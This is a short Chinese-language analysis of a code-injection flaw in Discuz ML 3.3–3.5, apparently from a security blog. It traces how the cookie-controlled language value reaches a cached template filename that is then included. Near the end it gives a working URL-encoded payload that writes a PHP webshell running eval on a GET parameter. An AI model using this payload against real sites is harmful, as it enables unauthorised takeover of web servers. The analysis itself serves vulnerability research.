環(huán)境
win10
php 5.5
discuz ML 3.3
存在rce的版本
discuz ML 3.3~discuz ML 3.5
分析過程
- 根據(jù)payload知道漏洞出在
source\module\portal\portal_index.php處
- 跟進(jìn)
template()(/source/function/function_core.php)
- 程序最終返回了
DISCUZ_ROOT.$cachefile其中$cachefile為
./data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php
- 將緩存文件寫在了
/data/template/目錄下,文件名由DISCUZ_LANG等多個變量組成
- 從程序全部變量
$_G['config']['output']['language']中獲取了DISCUZ_LANG。系統(tǒng)通過Cookie獲取了語言的值,并在341行定義了DISCUZ_LANG,值為Cookie中獲取到的$lng。 - 外部參數(shù)
$lng(即language語言)可控,導(dǎo)致template函數(shù)生成的臨時(shí)模板文件名可操縱,插入自己的代碼,最終include_once包含一下最終導(dǎo)致了代碼注入
- 寫入webshell
sc%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
PS:文件包含也會執(zhí)行代碼
參考文獻(xiàn):
https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&chksm=fc4748ffcb30c1e99aefd6cb5536a1e2eac2ba836c631c9533f3ba3d8669dbaa7ec0c6f60eb6&mpshare=1&scene=23&srcid=#rd
https://od0d.cn/2019/07/11/Discuz-ML-V3-X-%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90%E8%B8%A9%E5%9D%91%E7%BB%8F%E5%8E%86/



